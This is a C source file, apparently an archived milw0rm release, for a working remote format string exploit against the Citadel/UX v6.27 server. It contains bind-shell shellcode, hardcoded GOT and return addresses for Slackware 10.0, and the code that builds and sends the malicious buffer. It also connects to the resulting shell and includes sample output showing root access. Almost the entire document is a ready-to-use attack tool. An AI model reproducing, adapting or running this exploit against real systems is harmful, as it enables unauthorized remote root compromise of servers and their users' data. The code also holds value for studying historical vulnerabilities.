/* citadel_fsexp.c * * Citadel/UX v6.27 remote format string exploit * * Use: ./citadel_fsexp -h [options] * * options: * -h host or IP * -t type of target system * -l targets list * -g syslog GOT address * -r RET address * * coki@nosystem:~/audit$ ./citadel_fsexp -h localhost -t0 * * Citadel/UX v6.27 remote format string exploit * by CoKi * * [*] host : localhost * [*] system : Slackware Linux 10.0 * [*] syslog GOT address : 0x0809e9e8 * [*] RET address : 0xbfffd5fa * * [+] verifying host... OK * [+] conecting... OK * [+] building exploit... OK * [+] sending exploit... OK * * [+] waiting for shell... * [+] connecting to shell... OK * * [!] you have a shell :) * * Linux nosystem 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel), * 11(floppy) * * Tested in Slackware 10.0 * * by CoKi * No System Group - http://www.nosystem.com.ar */ #include #include #include #include #include #include #include #include #include #include #include #define BUFFERSIZE 1024 #define ERROR -1 #define TIMEOUT 3 #define PORT 504 #define SHELL 5074 int connect_timeout(int sfd, struct sockaddr *serv_addr, socklen_t addrlen, int timeout); int check(unsigned long addr); void use(char *program); void printlist(void); void shell(char *host, int port); char shellcode[] = /* 92 bytes by s0t4ipv6 */ "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x40" // incl %eax "\x89\xc3" // movl %eax,%ebx "\x50" // pushl %eax "\x40" // incl %eax "\x50" // pushl %eax "\x89\xe1" // movl %esp,%ecx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x66\x68\x13\xd2" // pushw $0xd213 "\x43" // incl %ebx "\x66\x53" // pushw %bx "\x89\xe1" // movl %esp,%ecx "\x6a\x10" // pushl $0x10 "\x51" // pushl %ecx "\x50" // pushl %eax "\x89\xe1" // movl %esp,%ecx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x40" // incl %eax "\x89\x44\x24\x04" // movl %eax,0x4(%esp,1) "\x43" // incl %ebx "\x43" // incl %ebx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x83\xc4\x0c" // addl $0xc,%esp "\x52" // pushl %edx "\x52" // pushl %edx "\x43" // incl %ebx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x93" // xchgl %eax,%ebx "\x89\xd1" // movl %edx,%ecx "\xb0\x3f" // movb $0x3f,%al "\xcd\x80" // int $0x80 "\x41" // incl %ecx "\x80\xf9\x03" // cmpb $0x3,%cl "\x75\xf6" // jnz "\x52" // pushl %edx "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // movl %esp,%ebx "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al "\xcd\x80" // int $0x80 ; struct { char *os; int got; int ret; }targets[] = {"Slackware Linux 10.0", 0x0809e9e8, 0xbfffd5fa}; int main(int argc, char *argv[]) { char buffer[BUFFERSIZE], temp[BUFFERSIZE]; char opt, *host=NULL, *system=NULL, *p; int sockfd, i, retaddr=0, gotaddr=0, targetnum=0; unsigned int bal1, bal2, bal3, bal4; int cn1, cn2, cn3, cn4; struct hostent *he; struct sockaddr_in dest_dir; printf("\n Citadel/UX v6.27 remote format string exploit\n"); printf(" by CoKi \n\n"); while ((opt = getopt(argc,argv,"h:g:r:t:l")) != EOF) { switch (opt) { case 'h': host = optarg; break; case 'g': gotaddr = strtoul(optarg,NULL,0); break; case 'r': retaddr = strtoul(optarg,NULL,0); break; case 't': targetnum = atoi(optarg); if(targetnum != 0) { printf(" invalid target number!\n\n"); exit(0); } system = targets[targetnum].os; gotaddr = targets[targetnum].got; retaddr = targets[targetnum].ret; break; case 'l': printlist(); break; default: use(argv[0]); break; } } if(host == NULL) use(argv[0]); if(gotaddr == 0 || retaddr == 0) use(argv[0]); if(system == NULL) system = "unknown"; printf(" [*] host\t\t\t: %s\n", host); printf(" [*] system\t\t\t: %s\n", system); printf(" [*] syslog GOT address\t\t: %010p\n", gotaddr); printf(" [*] RET address\t\t: %010p\n\n", retaddr); printf(" [+] verifying host...\t\t"); fflush(stdout); if((he=gethostbyname(host)) == NULL) { herror("Error"); printf("\n"); exit(1); } printf("OK\n"); if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) { perror("Error"); printf("\n"); exit(1); } dest_dir.sin_family = AF_INET; dest_dir.sin_port = htons(PORT); dest_dir.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(dest_dir.sin_zero), 8); printf(" [+] conecting...\t\t"); fflush(stdout); if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, sizeof(struct sockaddr), TIMEOUT) == ERROR) { printf("Closed\n\n"); exit(1); } printf("OK\n"); printf(" [+] building evil buffer...\t"); fflush(stdout); bzero(buffer, sizeof(buffer)); strcat(buffer, "x"); for(i = 0; i < 4; i++) { bzero(temp, sizeof(temp)); sprintf(temp, "%s", &gotaddr); strncat(buffer, temp, 4); gotaddr++; } bal1 = (retaddr & 0xff000000) >> 24; bal2 = (retaddr & 0x00ff0000) >> 16; bal3 = (retaddr & 0x0000ff00) >> 8; bal4 = (retaddr & 0x000000ff); cn1 = bal4 - 16 - 1 - 15 - 50 - 92; cn1 = check(cn1); cn2 = bal3 - bal4; cn2 = check(cn2); cn3 = bal2 - bal3; cn3 = check(cn3); cn4 = bal1 - bal2; cn4 = check(cn4); p = buffer; p += 17; memset(p, '\x90', 50); strcat(buffer, shellcode); sprintf(temp, "%%%du%%27$n%%%du%%28$n%%%du%%29$n%%%du%%30$n", cn1, cn2, cn3, cn4); strcat(buffer, temp); bzero(temp, sizeof(temp)); printf("OK\n"); printf(" [+] sending evil buffer...\t"); fflush(stdout); recv(sockfd, temp, sizeof(temp), 0); send(sockfd, buffer, strlen(buffer), 0); send(sockfd, "\n", 1, 0); close(sockfd); printf("OK\n\n"); printf(" [+] waiting for shell...\n"); fflush(stdout); sleep(2); shell(host, SHELL); } int connect_timeout(int sfd, struct sockaddr *serv_addr, socklen_t addrlen, int timeout) { int res, slen, flags; struct timeval tv; struct sockaddr_in addr; fd_set rdf, wrf; fcntl(sfd, F_SETFL, O_NONBLOCK); res = connect(sfd, serv_addr, addrlen); if (res >= 0) return res; FD_ZERO(&rdf); FD_ZERO(&wrf); FD_SET(sfd, &rdf); FD_SET(sfd, &wrf); bzero(&tv, sizeof(tv)); tv.tv_sec = timeout; if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0) return -1; if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) { slen = sizeof(addr); if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1) return -1; flags = fcntl(sfd, F_GETFL, NULL); fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK); return 0; } return -1; } int check(unsigned long addr) { char tmp[128]; snprintf(tmp, sizeof(tmp), "%d", addr); if(atoi(tmp) < 1) addr = addr + 256; return addr; } void use(char *program) { printf(" Use: %s -h [options]\n", program); printf("\n options:\n"); printf(" -h host or IP\n"); printf(" -t type of target system\n"); printf(" -l targets list\n"); printf(" -g syslog GOT address\n"); printf(" -r RET address\n\n"); exit(1); } void printlist(void) { printf(" targets\n"); printf(" -------\n\n"); printf(" [0] %s\n\n", targets[0].os); exit(0); } void shell(char *host, int port) { int sockfd, n; char buff[BUFFERSIZE]; fd_set readfs; struct hostent *he; struct sockaddr_in dest_dir; printf(" [+] connecting to shell...\t"); fflush(stdout); if((he=gethostbyname(host)) == NULL) { herror("Error"); printf("\n"); exit(1); } if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) { perror("Error"); printf("\n"); exit(1); } dest_dir.sin_family = AF_INET; dest_dir.sin_port = htons(port); dest_dir.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(dest_dir.sin_zero), 8); if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, sizeof(struct sockaddr), TIMEOUT) == ERROR) { printf("Closed\n\n"); printf(" [-] failed! perhaps the target has down...\n\n"); exit(1); } printf("OK\n\n"); printf(" [!] you have a shell :)\n\n"); fflush(stdout); send(sockfd, "uname -a; id;\n", 14, 0); while(1) { FD_ZERO(&readfs); FD_SET(0, &readfs); FD_SET(sockfd, &readfs); if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0); if(FD_ISSET(0,&readfs)) { if((n = read(0,buff,sizeof(buff))) < 1) exit(0); if(send(sockfd, buff, n, 0) != n) exit(0); } if(FD_ISSET(sockfd,&readfs)) { if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0); write(1, buff, n); } } } // milw0rm.com [2004-12-12]